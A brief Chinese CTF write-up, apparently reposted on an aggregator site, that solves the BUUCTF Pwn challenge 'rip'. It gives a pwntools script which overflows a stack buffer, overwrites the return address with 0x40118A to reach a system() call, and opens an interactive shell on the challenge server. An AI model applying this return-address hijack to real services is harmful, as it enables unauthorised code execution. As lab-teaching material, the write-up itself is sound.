按tab鍵,看一下 fun函數(shù) 發(fā)現(xiàn)其地址是 0x401186;
但是寫EXP不能直接用這個地址,需要使用0x40118A這個地址,system函數(shù)是在0x40118A壓參數(shù)然后執(zhí)行

from pwn import *p = remote('node3.buuoj.cn', '25677') payload = 'a' * (0xf + 8) + p64(0x40118A)p.sendline(payload)p.interactive()

與50位技術(shù)專家面對面20年技術(shù)見證，附贈技術(shù)全景圖

總結(jié)

以上是生活随笔為你收集整理的BUUCTF(Pwn) rip的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。